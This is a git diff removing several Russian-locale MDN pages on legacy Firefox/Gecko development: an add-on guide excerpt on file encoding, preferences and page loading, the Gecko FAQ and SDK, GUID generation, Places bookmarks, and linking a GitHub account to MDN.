-                      converterStream.DEFAULT_REPLACEMENT_CHARACTER);
-var out = {};
-converterStream.readString(fileStream.available(), out);
-var fileContents = out.value;
-converterStream.close();
-fileStream.close();
-alert(fileContents);
-

Outputting text files

-

{{ TODO("Not sure this example is relevant in an English context, maybe something from the snippets") }}

-

Listing 16 shows how to take text internally represented as Unicode and output it to a file encoded using EUC-JP (a Japanese text encoding). Here, the character string to be written, 変換テスト, is hard-coded directly into the JavaScript source using escaped Unicode entities. Open the output file to check your results.

-

Note that if you set the character encoding to null it will default to UTF-8 for both input and output.

-

Listing 16: Writing text to a file encoded as EUC-JP

-
var string = '\u5909\u63db\u30c6\u30b9\u30c8';
-file.initWithPath('C:\\temp\\temp.txt');
-file.create(file.NORMAL_FILE_TYPE, 0666);
-var charset = 'EUC-JP';
-var fileStream = Components
-.classes['@mozilla.org/network/file-output-stream;1']
-.createInstance(Components.interfaces.nsIFileOutputStream);
-fileStream.init(file, 2, 0x200, false);
-var converterStream = Components
-.classes['@mozilla.org/intl/converter-output-stream;1']
-.createInstance(Components.interfaces.nsIConverterOutputStream);
-converterStream.init(fileStream, charset, string.length,
-Components.interfaces.nsIConverterInputStream.DEFAULT_REPLACEMENT_CHARACTER);
-converterStream.writeString(string);
-converterStream.close();
-fileStream.close();
-
-

Character encoding conversion

-

Firefox's internal representation of all text is in Unicode. However, in some cases, you may want to be able to process text using another encoding. In these cases, you can easily convert between encodings using the nsIScriptableUnicodeConverter.

-

Converting from Unicode to other encodings

-

Listing 17 shows how to convert from text saved as Unicode to EUC-JP encoding.

-

Listing 17: Converting text from Unicode to EUC-JP

-
var converter = Components.classes['@mozilla.org/intl/scriptableunicodeconverter']
-                .getService(Components.interfaces.nsIScriptableUnicodeConverter);
-converter.charset = 'EUC-JP';
-var unicode_str = '\u5909\u63db\u30c6\u30b9\u30c8';
-var eucjp_str = converter.ConvertFromUnicode(unicode_str);
-

Converting from other encodings to Unicode

-

Listing 18 shows how to do the reverse, converting from text saved as ISO-2022-JP to Unicode.

-

Listing 18: Converting text from ISO-2022-JP to Unicode

-
converter.charset = 'ISO-2022-JP';
-var unicode_str = converter.ConvertToUnicode(iso2022jp_str);
-

Reading and writing preferences

-

You can use the nsIPrefBranch function to access Firefox's preferences system. This function can get and set preferences with three types of values: Boolean, integer, and text; there are specific methods for each, as shown in Table 2.

-

Reading preferences

-

Listing 19 shows how to get a text string stored in the preferences. Type about:config into the location bar to confirm that the value has been stored correctly.

-
- Note: The value returned by {{ ifmethod("nsIPrefBranch", "getCharPref") }} is a UTF-8 bytestring; here, we are converting it to UTF-16 using escape() and decodeURIComponent().
-

Listing 19: Reading a text-string setting

-
var pref = Components.classes['@mozilla.org/preferences-service;1']
-           .getService(Components.interfaces.nsIPrefBranch);
-var dir = pref.getCharPref('browser.download.lastDir');
-alert(decodeURIComponent(escape(dir)));
-

Writing preferences

-

Listing 20 shows the opposite operation, writing a text string to a unique preference. Again, you can use about:config to check that the value has been stored correctly.

-
- Note: The value for the second parameter of {{ ifmethod("nsIPrefBranch", "setCharPref") }} is a UTF-8 bytestring; here, we are converting a UTF-16 to UTF-8 using unescape() and encodeURIComponent().
-

Listing 20: Writing a text-string setting

-
var string = 'This is test.';
-pref.setCharPref('extensions.myextension.testPref', unescape(encodeURIComponent(string)));
-
- - - - - - - - - - - - - - - - - - - - - - - -
Data typeGetSet
BooleangetBoolPref(prefname)setBoolPref(prefname)
IntegergetIntPref(prefname)setIntPref(prefname)
Text stringgetCharPref(prefname)setCharPref(prefname)
-

Using methods from XUL elements

-

XPCOM gives you access to sophisticated functions in XUL elements. For example, using the loadURI() method on the browser element introduced in Chapter 3 can open a page specified using HTTP_REFERER, as shown in Listing 21; Listing 22 shows how to open a page using the loadURIWithFlags() method, with data transmitted via the POST method.

-

Listing 21: Loading a page by setting a referrer

-
var browser = document.getElementById('browser');
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
-                .getService(Components.interfaces.nsIIOService);
-var referrer = ioService.newURI('http://www.gihyo.co.jp/', null, null);
-browser.loadURI('http://www.gihyo.co.jp/magazines/SD', referrer);
-
-

Listing 22: Loading a page with data transmitted via the POST method

-
var content = encodeURIComponent('password=foobar');
-var referrer = null;
-var postData = Components.classes['@mozilla.org/io/string-input-stream;1']
-               .createInstance(Components.interfaces.nsIStringInputStream);
-content = 'Content-Type: application/x-www-form-urlencoded\n'+
-          'Content-Length: '+content.length+'\n\n'+
-          content;
-postData.setData(content, content.length);
-var flags = Components.interfaces.nsIWebNavigation.LOAD_FLAGS_NONE;
-browser.loadURIWithFlags('http://piro.sakura.ne.jp/', flags, referrer, null, postData);
-
-

 {{ PreviousNext("Firefox addons developer guide/Introduction to XUL—How to build a more intuitive UI", "Firefox addons developer guide/Let%27s build a Firefox extension") }}

diff --git a/files/ru/gecko_faq/index.html b/files/ru/gecko_faq/index.html deleted file mode 100644 index da4dc47ae0..0000000000 --- a/files/ru/gecko_faq/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Gecko FAQ -slug: Gecko_FAQ ---- -

Что такое Gecko

-

Gecko - это браузерный движок с открытым исходным кодом, предназначенный для поддержки открытых интернет-стандартов, таких как HTML 4, CSS 1/2, W3C DOM, XML, JavaScript и других.

-

Gecko используется во многих браузерах, таких как Mozilla Firefox, SeaMonkey, Camino, Epiphany, K-Meleon и других. Gecko постоянно находится в процессе разработки под руководством компании mozilla.org. Ранее Gecko был известен под кодовыми именами Raptor и NGLayout; новое название было выбрано в связи с рассмотрением дела о нарушении прав на использование старой торговой марки.

-

Что такое браузерный движок

-

По существу, это программная библиотека, которая использует контент (информацию, размеченную с помощью языков HTML и XML; графические файлы, апплеты и т.д.) и информацию о его оформлении (каскадные таблицы стилей, тэги языка HTML, используемые для визуальной разметки) и отображает отформатированный контент на экране. Таким образом, движок "заполняет" область информационного наполнения, которая представляет из себя пустое пространство внутри окон графического интерфейса пользователя chrome.

-

Формально движок определяет правила размещения контента на странице. Ядро этого движка очень быстрое. Кроме того, Gecko предоставляет средства анализа документов различных типов (HTML, XML, SVG и др.), улучшенные возможности визуализации, включая создание составных изображений и их трансформацию. Движок поддерживает встроенный интерпретатор языка JavaScript и плагины.

-

Более того, Gecko настолько быстрый и мощный, что он используется для создания пользовательского интерфейса (chrome) некоторых приложений. Иными словами, этот движок используется не только для отображения контента, но и для отображения панелей прокрутки (scrollbar), панелей инструментов (toolbar), а также разнообразных меню. См. также информацию о технологии XUL.

-

 

-

Чем отличается браузерный движок, такой как Gecko от полнофункционального web-браузера?

-

Gecko предоставляет надёжную платформу для отображения контента на экране, включая движок для вёрстки, и сопутствующий набор компонентов браузера. Тем не менее, Gecko не оформляет пакет всех этих этих компонентов в интегрированное, полноценное, дружественное к пользователю приложение (включая меню, панели инструментов и др.), такое как Firefox.

-

В рамках проекта mozilla.org все необходимые компоненты собираются в полноценные приложения, такие как Firefox, Thunderbird, SeaMonkey, Camino. Все они свободно доступны для скачивания с сервера mozilla.org. Компания Netscape выпускала свои собственные версии браузера под торговой маркой Netscape Navigator. Другие компании также выпускают свои собственные программные продукты, которые использую движок Gecko. Вам будет интересно ознакомиться с частичным списком приложений использующих движок Gecko посредством технологии XULRunner, на странице XULRunner Hall of Fame.

-

Третьи лица, такие как независимые продавцы программных продуктов (ISV) и поставщики аппаратного обеспечения отбирают компоненты, которые они хотят использовать в собственных приложениях или устройствах. Некоторые компоненты браузера, такие как закладки, журнал посещений, адресная книги и т.д., не распространяются как часть Gecko. Тем не менее, исходный код всех этих компонентов доступен для бесплатной загрузки с сайта mozilla.org.

-

Почему мы создаём новый движок?

-

Начальный браузер Mozilla, впервые выпущенный под названием Navigator 1.0, был быстро разработан небольшой командой разработчиков, страстно желавших создания революционного, новаторского продукта, новинка, "захватчика рынка" - и они в этом серьезно преуспели. После, когда web эволюционировал, компания Netscape собрала отличную команду, которая перестроила движок, выведя его на новый уровень, необходимый для создания будущих продуктов. Gecko делает возможным создание революционно нового класса динамического, намного более интерактивного контента, и предоставляет больший контроль над визуальным отображением для web-разработчикам, используя открытые стандарты вместо проприетарных API. Мы приглашаем Вас присоединиться к работе команды на странице getting involved.

-

Как движок Gecko используется в иных продуктах компании mozilla.org ?

-

Gecko лежит в основе браузера Netscape 6, обеспечивая работу всех его компонентов, включая Navigator и Messenger. Технология Gecko также ускоряет отображение портала Netscape.com, быстрее доставляя интерактивный контент и сервисы. Архитектура Gecko будет обслуживать Netscape также и в будущем, позволяя внедрять больше инноваций за меньшую стоимость, облегчая распространение и обновление ПО, обеспечивая их межплатформенную поддержку.

-

Как компания Netscape собирается использовать Gecko?

-

Как могут другие компании и организации использовать этот движок?

-

Поскольку движок Gecko относительно невелик и легковесен, а его исходный код открыт, другие компании и организации могут легко использовать эту технологию. Многие производители аппаратного обеспечения, создающие устройства с сетевым доступом, желают добавить функциональность веб-браузера. Аналогично, многие разработчики программного обеспечения желают обеспечить функциональность веб-браузера в свои приложения, но независимая разработка веб-браузера не входит в их планы. Эти разработчики могут выбрать необходимые компоненты браузера из библиотеки Gecko, и упаковать их вместе со своими компонентами в собственный полноценный продукт.

-

Над поддержкой каких открытых стандартов в движке Gecko работает команда разработчиков и почему она поддерживает их?

- -

 

-

Обозначает ли полное соответствие движка стандартам отсутствие багов в данной или последующих версиях ?

-

Как Gecko форматирует документы XML?

-

Для форматирования XML-документов движок использует технологии CSS и XSLT.

-

В случае, если с XML-документом не связан никакой документ CSS или XSLT, Gecko отображает исходный код документа, отформатированный стилевыми таблицами по умолчанию.

-

Чем Gecko полезен авторам и разработчикам контента?

-

Для авторов разработка, а после тестирование каждой web-страницы несколько раз для поддержки различных, несовместимых между собой объектных моделей документов (DOM) браузеров, зависимых от поставщиков ПО, является достаточно утомительным занятием. Вот почему они требуют, чтобы все поставщик программного обеспечения полностью поддерживали открытые стандарты, перечисленные выше, чтобы:

- -

Надёжная поддержка этих стандартов в Gecko делает его платформой, которую выбирают разработчики web-приложений и авторы контента во всём мире.

-

Построен ли Gecko API на основе ActiveX, COM, JavaBeans?

-

Благодаря технологии XPCOM, межплатформенному подмножеству COM, Gecko может быть повторно использован на всех платформах. Технология COM, изначально разработанная фирмой Digital, а позже перенятая компанией Microsoft, является стандартом де-факто для модульных интерфейсов на платформах Windows.

-

Более того, на платформах Windows, интерфейсы Gecko XPCOM "обёрнуты" в элементы управления ActiveX. Таким образом, разработчики на языке Visual Basic могут использовать их в своих программах. Тем не менее, на иных платформах элементы управления ActiveX не могут быть использованы, ибо эта технология специфична для платформы Windows.

-

Оболочка (wrapper) XPCOM для JavaBean в данный момент не разрабатывается, но это не означает, что в архитектура Gecko не позволяет разработать такой интерфейс в будущем. Исходный код и документация для этих интерфейсов доступны на сервере проекта mozilla.org.

-

Совместим ли Gecko API с Microsoft Trident API?

-

Интерфейс XPCOM движка Gecko отличается от API аналогичного продукта корпорации Microsoft. Главные отличия между этими двумя моделями состоят в способе отражения объектной модели документов (DOM) в этих интерфейсах.

-

Интерфейс Microsoft Trident отражает DOM в проприетарном API, тогда как Gecko предоставляет интерфейс DOM следуя стандарту W3C. Существуют, кроме того, иные отличия. Благодаря усилиям Adam Lock, создан частичный уровень совместимости, облегчающий разработчикам переход от движка компании Microsoft к движку Gecko.

-

Какие платформы поддерживает Gecko ?

-

Сегодня Gecko поддерживает следующие платформы:

- -

Производители ПО и волонтёры участвующие в проекте mozilla.org переносят движок на другие платформы. Среди прочих, в процессе разработки находятся проекты по портированию Gecko на Solaris, HP/UX, AIX, Irix, OS/2, OpenVMS, BeOS, и Amiga.

-

Каковы основные компоненты Gecko?

-

Движок состоит из следующих компонентов:

- -

{{ languages( { "en": "en/Gecko_FAQ", "ja": "ja/Gecko_FAQ", "zh-cn": "cn/Gecko_FAQ" } ) }}

diff --git a/files/ru/gecko_sdk/index.html b/files/ru/gecko_sdk/index.html deleted file mode 100644 index 0a94f3412a..0000000000 --- a/files/ru/gecko_sdk/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Gecko SDK -slug: Gecko_SDK -translation_of: Mozilla/Gecko/Gecko_SDK ---- -

Overview

-

Gecko SDK, также известный как XULRunner SDK, представляет собой набор XPIDL файлов, заголовочных файлов и инструментов для разработки XPCOM компонентов, которые могут в свою очередь, например, быть доступны из XUL с использованием JavaScript.

-

Note that in order to develop such components, you do not need the full sources of e.g. Firefox, since you do not access parts of the front end from within a component. Furthermore, since a component contains basic functionality, it is intended to run with every product of the Mozilla platform. Therefore it makes no sense to use a particular product to build general functionality. That's the reason why the Gecko SDK was devised.

-

Do not confuse the Gecko/XULRunner SDK with XULRunner itself. The Gecko SDK is a collection of header files and tools used to develop general XPCOM components which add functionality to the existing platform, whereas XULRunner is a framework which can be used to run standalone or embedded applications based on the Mozilla framework.

-

The Gecko SDK contains all of the necessary tools and headers for making scriptable NPAPI plugins including the xpidl compiler/linker and the latest npapi.h.

-

Get the SDK

-

Updates

-

There is no need to download or rebuild the Gecko SDK corresponding to security updates of Mozilla (e.g., Mozilla 1.7.3) since the headers and glue libs in the Gecko SDK are usually not changed as a result of security updates. You do have to get and distribute the newest Gecko components (gklayout.dll etc.), though.

-

Downloading

-

For Gecko versions before 2.0, you should choose the Gecko SDK version for the earliest version of Mozilla you wish to target.  For Gecko versions 2.0 and higher, you must recompile your component for each release as cross-version compatibility is no longer supported.

-

In addition to the below versions, you can find other versions (including Beta) here: Xulrunner Releases (files include "sdk" in the name).  The SDK follows the same release schedule as Firefox/Thunderbird.  Once the SDK enters Beta, it is suitable for building extensions; your component should work with release builds of the SDK without any modifications.  Due to the Rapid Release process, it may be a good idea to target the SDK in Beta.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Download LinkGecko 18.0.1 (Firefox 18.0.1)Gecko 1.9.2 (Firefox 3.6)Gecko 1.9.1 (Firefox 3.5)Gecko 1.9 (Firefox 3.0)Gecko 1.8 (Firefox 1.5 and 2.0)
WindowsDownloadDownloadDownloadDownloadDownload
Mac x86_64DownloadN/AN/AN/AN/A
Mac i386DownloadDownloadDownloadDownloadN/A
Mac ppcN/ADownloadDownloadDownloadDownload
Linux x86_64DownloadN/AN/AN/AN/A
Linux i686DownloadDownloadDownloadDownloadDownload
-

The SDK is not officially released for other platforms; if you need it, you will probably need to build it yourself.

-

Unpack the SDK tarball to some suitable location.

-

Issues with the OS X SDK

-

If you need to use the xpidl utility to compile IDL files on OS X, it's likely that you will receive a strange error when running the tool that looks something along the lines of this:

-
dyld: Library not loaded: /opt/local/lib/libintl.3.dylib
-  Referenced from: /Users/varmaa/xulrunner-sdk/bin/./xpidl
-  Reason: image not found
-Trace/BPT trap
-
-

Unfortunately, this is caused by a problem with the SDK build process which cannot currently be resolved (see Bugzilla bug #430274). To get around it, you'll need to first install MacPorts as outlined in the Mac OS X Build Prerequisites and install libidl with it. On 64-bit versions of Mac OS X, you'll need to install libidl with the +universal flag.

-

Once that's done, you should perform the following command:

-
ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib
-

This should fix the problem.

-

Building the SDK

-

To build the SDK, you should build XULRunner (the Gecko SDK is built as part of the XULRunner build process, which is why it's sometimes called the XULRunner SDK). See the Build Documentation for complete details. After the XULRunner build is complete running make sdk from your object directory will create a package of the sdk in dist.

-

Contents of the SDK

-

The SDK contains the following:

- -

For more information about safely linking XPCOM components using the XPCOM "glue" library, see XPCOM Glue.

-

Using the Mozilla Build System with the SDK

-

It's possible to use the Mozilla Build System with the SDK. This can be done by downloading the source code for Firefox and using the --with-libxul-sdk option to configure.

-

Resources

- -

{{ languages( { "zh-cn": "cn/Gecko_SDK", "fr": "fr/SDK_Gecko", "ja": "ja/Gecko_SDK" } ) }}

diff --git a/files/ru/generating_guids/index.html b/files/ru/generating_guids/index.html deleted file mode 100644 index c618a7d72c..0000000000 --- a/files/ru/generating_guids/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Генерация GUID'ов -slug: Generating_GUIDs -translation_of: Mozilla/Tech/XPCOM/Generating_GUIDs ---- -

GUIDs are used in Mozilla programming for identifying several types of entities, including XPCOM Interfaces (this type of GUIDs is callled IID), components (CID), and legacy add-ons—like extensions and themes—that were created prior to Firefox 1.5. Add-ons can (and should) be identified with IDs of the form extensionname@organization.tld since Firefox 1.5.

-

-

Предупреждение: If you just want an ID for your add-on, generating a GUID is almost definitely not what you want to do. Using the extensionname@organization.tld form is approximately one thousand times easier for everyone involved. Don't have a domain name? Do you have a blog on a subdomain? Use that. If all else fails, using extensionname@yourusername.addons.mozilla.org should be fine; no one will care. Remember, these are identifiers, not e-mail addresses, and they're never resolved.

-

-

Canonical form

-

The common form of a GUID is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx, where each x stands for a hexadecimal digit. There are a number of tools that can be used to generate a GUID in the canonical form.

-
-

Note: If you do choose to use an email-style ID for your add-on, you probably don't want it to be a real email address, since it might attract spam.

-
-

Online tools

- -

Windows

-

Пользвоатели Windows могут использовать утилиту GuidGen от Microsoft для получения GUID. (Эта утилита является частью MS Visual C++)

-

Linux

-

Используйте /usr/bin/uuidgen. Является частью пакета libuuid1 (Debian).

-

Mac OS X

-

Используйте /usr/bin/uuidgen.

-

Perl

- -

nsIUUIDGenerator

-

A UUID can be generated from privileged Mozilla code using nsIUUIDGenerator. See the linked page for details.

-

Формат COM/XPCOM

-

Используя #define для IID и CID в коде Mozilla C++, вы должны использовать следующий формат:

-
// xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx
-#define NS_...ID \
-{ 0xXXXXXXXX, 0xXXXX, 0xXXXX, \
-  { 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX } }
-
-

You can generate code in this format using one of the following tools.

-

Онлайн утилита

- -

guidgen

-

guidgen.exe, часть Microsoft Visual Studio, может генерировать UUID в нужном формате.

-

bash

-

Можете добавить в файл .bashrc следующий код:

-
uuidgen-c++()
-{
-    local UUID=$(uuidgen)
-    echo "// $UUID"
-    echo "#define NS__IID \\"
-    echo "{ 0x${UUID:0:8}, 0x${UUID:9:4}, 0x${UUID:14:4}, \\"
-    echo -n "  { 0x${UUID:19:2}, 0x${UUID:21:2}, 0x${UUID:24:2}, "
-    echo -n "0x${UUID:26:2}, 0x${UUID:28:2}, 0x${UUID:30:2}, "
-    echo "0x${UUID:32:2}, 0x${UUID:34:2} } }"
-}
-
-

Perl

-
#!/usr/bin/perl
-$uuid = `uuidgen`;
-chomp $uuid;
-print $uuid, "\n";
-@parts = ($uuid =~ /^(.{8})-(.{4})-(.{4})-(..)(..)-(..)(..)(..)(..)(..)(..)$/);
-print "{ 0x$parts[0], 0x$parts[1], 0x$parts[2], \\", "\n", " { ";
-for (3 .. 9) {
-  print "0x$parts[$_], ";
-}
-print "0x$parts[10] } }", "\n";
-
-
-  
diff --git a/files/ru/manipulating_bookmarks_using_places/index.html b/files/ru/manipulating_bookmarks_using_places/index.html deleted file mode 100644 index 6c48d73137..0000000000 --- a/files/ru/manipulating_bookmarks_using_places/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Манипулирование Закладками используя Службу -slug: Manipulating_bookmarks_using_Places -translation_of: Mozilla/Tech/Places/Manipulating_bookmarks_using_Places ---- -
-

-
-

The Places bookmarks service, provided by the nsINavBookmarksService interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. This article offers examples for how to perform common bookmark management tasks using the bookmarks service.

-

Initiating the bookmarks service

-

As is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it:

-
var bmsvc = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
-                      .getService(Components.interfaces.nsINavBookmarksService);
-
-

Creating a bookmark folder

-

Creating a new bookmark folder is done using the nsINavBookmarksService.createFolder() method. For example, to create a new folder in the Bookmarks menu:

-
var menuFolder = bmsvc.bookmarksMenuFolder; // Bookmarks menu folder
-var newFolderId = bmsvc.createFolder(menuFolder, "Folder name here", bmsvc.DEFAULT_INDEX);
-
-

This code locates the Bookmarks menu's folder, then creates a new folder named "Folder name here" in it. Specifying DEFAULT_INDEX as the index at which to insert the new folder places it at the end of the list.

-

You can easily change this code to insert the new folder into the bookmarks toolbar by changing bookmarksMenuFolder to another folder attribute.

-

Creating a new bookmark

-

To create a new bookmark, use the nsINavBookmarksService.insertBookmark() method. The URI for the bookmark needs to be specified using an nsIURI object.

-
var ios = Components.classes["@mozilla.org/network/io-service;1"]
-                    .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI("http://google.com/", null, null);
-var newBkmkId = bmsvc.insertBookmark(newFolderId, uri, bmsvc.DEFAULT_INDEX, "");
-
-

This example instantiates the nsIIOService and uses it to create an nsIURI referring to the Google web site, then calls nsINavBookmarksService.insertBookmark() to create a new bookmark to Google, placing it at the end of the bookmarks folder referenced by newBkmkId.

-

Finding bookmark items

-

If you know the URI of a site and wish to find all bookmarks that link to it, you can use the nsINavBookmarksService.getBookmarkIdsForURI() method.

-
var ios = Components.classes["@mozilla.org/network/io-service;1"]
-                    .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI("http://google.com/", null, null);
-var bookmarksArray = bmsvc.getBookmarkIdsForURI(uri, {});
-
-

After executing this code, the array <tt>bookmarksArray</tt> contains the IDs of all bookmarks that refer to the specified URI (in this case, "http://google.com").

-

Manipulating existing items

-

There are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. This section covers some of them.

-

The item title

-

To change the title of a bookmark or bookmark folder, you use the nsINavBookmarksService.setItemTitle() method.

-
bmsvc.setItemTitle(newBkmkId, "New title");
-
-

This sets the title of the item referenced by the ID newBkmkId to "New title".

-

You can fetch the current title of an item using the nsINavBookmarksService.getItemTitle() method:

-
var thisTitle = bmsvc.getItemTitle(newBkmkId);
-
-

This code will display an alert containing the title of the item referenced by the ID newBkmkId.

-

The item URI

-

Similarly, you can obtain the URI corresponding to a given bookmark item by calling the nsINavBookmarksService.getBookmarkURI() method.

-
var thisURI = bmsvc.getBookmarkURI(newBkmkId);
-
-

Assuming you've run all the code samples previous to this one, this will output "http://google.com".

-

You can use the nsINavBookmarksService.changeBookmarkURI() method to update the URI for a given bookmark item:

-
var uri = ios.newURI("http://mozilla.com/", null, null);
-bmsvc.changeBookmarkURI(newBkmkId, uri);
-
-

This example changes the bookmark to refer to the Mozilla web site instead of Google.

-

Примечание: All annotations, tags, and so forth are kept when the bookmark's URI is changed.

-

Checking to see if a URI is bookmarked

-

If you want to see if a given URI is already bookmarked -- for example, to avoid creating a new bookmark for a site that's already bookmarked -- you can use the nsINavBookmarksService.isBookmarked() method.

-
var ios = Components.classes["@mozilla.org/network/io-service;1"]
-                    .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI("http://mozilla.com/", null, null);
-if (!bmsvc.isBookmarked(uri)) {
-  bmsvc.insertBookmark(bmsvc.toolbarFolder, uri, bmsvc.DEFAULT_INDEX, "Mozilla");
-}
-
-

This example looks to see if the user already has a bookmark for the Mozilla web site, and, if not, creates one, adding it to the user's bookmarks toolbar.

-

Finding the folder containing an item

-

If you need to know what folder contains an item (this can be especially handy after using nsINavBookmarksService.getBookmarkIdsForURI() to find bookmarks for a given URI), you can use the nsINavBookmarksService.getFolderIdForItem() method.

-
var parentFolderId = bmsvc.getFolderIdForItem(newBkmkId);
-
-

Observing changes to bookmarks and tags

-

To set up an observer to listen for changes related to bookmarks, you will need to create an nsINavBookmarkObserver object and use the nsINavBookmarksService.addObserver() and nsINavBookmarksService.removeObserver() methods.  Note that this example takes advantage of XPCOMUtils to generate the nsISupports.QueryInterface() method.

-
// An nsINavBookmarkObserver
-var myExt_bookmarkListener = {
-  onBeginUpdateBatch: function() {},
-  onEndUpdateBatch: function() {},
-  onItemAdded: function(aItemId, aFolder, aIndex) {},
-  onItemRemoved: function(aItemId, aFolder, aIndex) {},
-  onItemChanged: function(aBookmarkId, aProperty, aIsAnnotationProperty, aValue) {
-    MyExtension.doSomething();
-  },
-  onItemVisited: function(aBookmarkId, aVisitID, time) {},
-  onItemMoved: function(aItemId, aOldParent, aOldIndex, aNewParent, aNewIndex) {},
-  QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsINavBookmarkObserver])
-};
-// An extension
-var MyExtension = {
-  // This function is called when my add-on is loaded
-  onLoad: function() {
-    bmsvc.addObserver(myExt_bookmarkListener, false);
-  },
-  // This function is called when my add-on is unloaded
-  onUnLoad: function() {
-    bmsvc.removeObserver(myExt_bookmarkListener);
-  },
-  doSomething: function() {
-    alert("Did something.");
-  }
-};
-
-

See also

- diff --git "a/files/ru/mdn/contribute/howto/\320\277\321\200\320\270\320\262\321\217\320\267\320\272\320\260_github_\320\260\320\272\320\272\320\260\321\203\320\275\321\202\320\260/index.html" "b/files/ru/mdn/contribute/howto/\320\277\321\200\320\270\320\262\321\217\320\267\320\272\320\260_github_\320\260\320\272\320\272\320\260\321\203\320\275\321\202\320\260/index.html" deleted file mode 100644 index a627bdde50..0000000000 --- "a/files/ru/mdn/contribute/howto/\320\277\321\200\320\270\320\262\321\217\320\267\320\272\320\260_github_\320\260\320\272\320\272\320\260\321\203\320\275\321\202\320\260/index.html" +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Как привязать GitHub аккаунт к вашему MDN профилю -slug: MDN/Contribute/Howto/Привязка_GitHub_аккаунта -tags: - - Documentation - - MDN - - MDN Meta - - MDN Project -translation_of: Archive/MDN/Howto_Link_a_Github_account ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/ru/docs/MDN")}}
- -
-

Note: Support for Persona logins on MDN was disabled on November 1, 2016. The method for adding a Github account to your profile therefore no longer works. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please file an "Account Help" bug on Bugzilla. For further reading about the end of life of Persona, see: Persona shutdown guidelines.

-
- -

Поскольку 1 ноября 2016 г. система авторизации Mozilla Persona будет отключена, всем пользователеям, которые хотят вносить вклад в MDN понадобится другой способ входа на MDN.
- В настоящее время, единственная альтернатива, которую мы поддерживаем - GitHub, так что вам понадобится GitHub аккаунт, чтобы входить и редактировать MDN после этой даты. Эта статья описывает, как добавить авторизацию через GitHub к вашему профилю MDN.

- -
-

Вы должны сделать это до 1 ноября 2016, иначе вы больше не сможете входить на MDN!

-
- -

Обзор

- -

Добавление авторизации через GitHub к вашему аккаунту осуществить не трудно. Мы рассмотрим всё детально, но сначала, вот список шагов:

- -
    -
  1. Войдите в ваш MDN аккаунт.
  2. -
  3. Перейдите на страницу присоединённые аккаунты.
  4. -
  5. Добавьте авторизацию через GitHub.
  6. -
- -

Подробная инструкция

- -

Ниже представлено пошаговое руководство о том, как сделать все необходимое для того, чтобы авторизоваться через GitHub.

- -

Войдите в свой MDN аккаунт

- -
    -
  1. В верхней части каждой страницы MDN расположен блок авторизации. Он отображает доступные методы авторизации: Persona и GitHub.
    - Sign in box on MDN, showing Persona and Github.
  2. -
  3. Выберите Persona, и войдите, используя свой логин и пароль. Если вы получаете ошибку о том, что система вас не узнаёт, убедитесь, что вы ввели адрес электронной почты, который вы использовали при входе на MDN через Persona. Если у вас по-прежнему есть проблемы, посмотрите раздел {{anch("Persona_не_помнит_меня", "Persona не помнит меня")}}.
  4. -
- -

Перейдите на страницу "присоединённые аккаунты"

- -

Просто щёлкните по кнопке ниже.

- -

Или выполните следующее:

- -
    -
  1. Щёлкните по вашему имени пользователя вверху любой страницы MDN. (Там же, где был блок Авторизации, когда вы входили). Откроется ваш профиль.
  2. -
  3. Откройте меню, щёлкнув по "шестерёнке", и выберите Присоединённые аккаунты.
    - Gear menu in profile, showing the "Account connections" option
  4. -
- -

Добавление авторизации через GitHub

- -

На странице "Присоединённые аккаунты", есть уже присоединённые к профилю MDN внешние аккаунты. Если GitHub в этом списке - поздравляем! Всё готово! Но проверьте, что помните ваш пароль, выйдя с MDN и войдя снова через GitHub.

- -

Если GitHub ещё нет в списке, то поищите список привязанных аккаунтов. Вы найдёте раздел под названием Подключить новый аккаунт, в котором будут перечислены возможные типы аккаунтов, которые можно привязать к вашему профилю MDN. Выглядит он примерно так:

- -

- -

Чтобы добавить GitHub:

- -
    -
  1. Щёлкните Присоединить GitHub. MDN свяжется с GitHub и запросит разрешение на связывание аккаунтов. Если у вас еще нет аккаунта на GitHub, вам будет предложено создать его:
    - Screenshot of GitHub sign in window.
  2. -
  3. Если в вашем аккаунте GitHub включена двухфакторная авторизация, то вам будет предложено ввести код:
    - Screenshot of GitHub's Two-factor authentication window.
  4. -
  5. После входа в аккаунт GitHub, вам будет предложено разрешить связь между GitHub и MDN
    - (если у вас ещё нет разрешения по какой-либо причине). Эта страница показана ниже.
    - Screenshot of GitHub "Authorize application" window.
    - Щёлкните по зелёной кнопке Authorize application, чтобы предоставить разрешение доступа MDN к вашему аккаунту на GitHub. В случае успешной привязки - появится сообщение:
    - Account successfully created.
  6. -
- -

Теперь вы не только можете использовать GitHub для входа на MDN, а уже вошли, используя ваш аккаунт GitHub! Теперь вы готовы к отключению Persona. Убедитесь, что обновили пароль в ваших менеждерах для паролей, если необходимо.

- -

Устранение проблем

- -

Если сталкиваетесь с проблемами, когда пытаете добавить ваш GitHub аккаунт к вашему профилю, то надеемся, что советы по устранению проблем ниже помогут. Если они не помогают, пожалуйста, не стесняйтесь попросить у нас помощи на MDN Web Docs.

- -

Ошибка: Не удалось найти профиль соответствующий аккаунту

- -

Если вы пытаетесь присоединить GitHub аккаунт к вашему профилю и получаете ошибку "Could not find profile matching account", то может быть несколько возможных проблем. Если у вас есть несколько аккаунтов на GitHub, то может возникнуть некоторая путаница; GitHub может не сообщить ожидаемого адреса электронной почты MDN при попытке привязки аккаунта, что является причиной этой ошибки. Другие сбои в этом процессе также могут быть причиной этой ошибки.
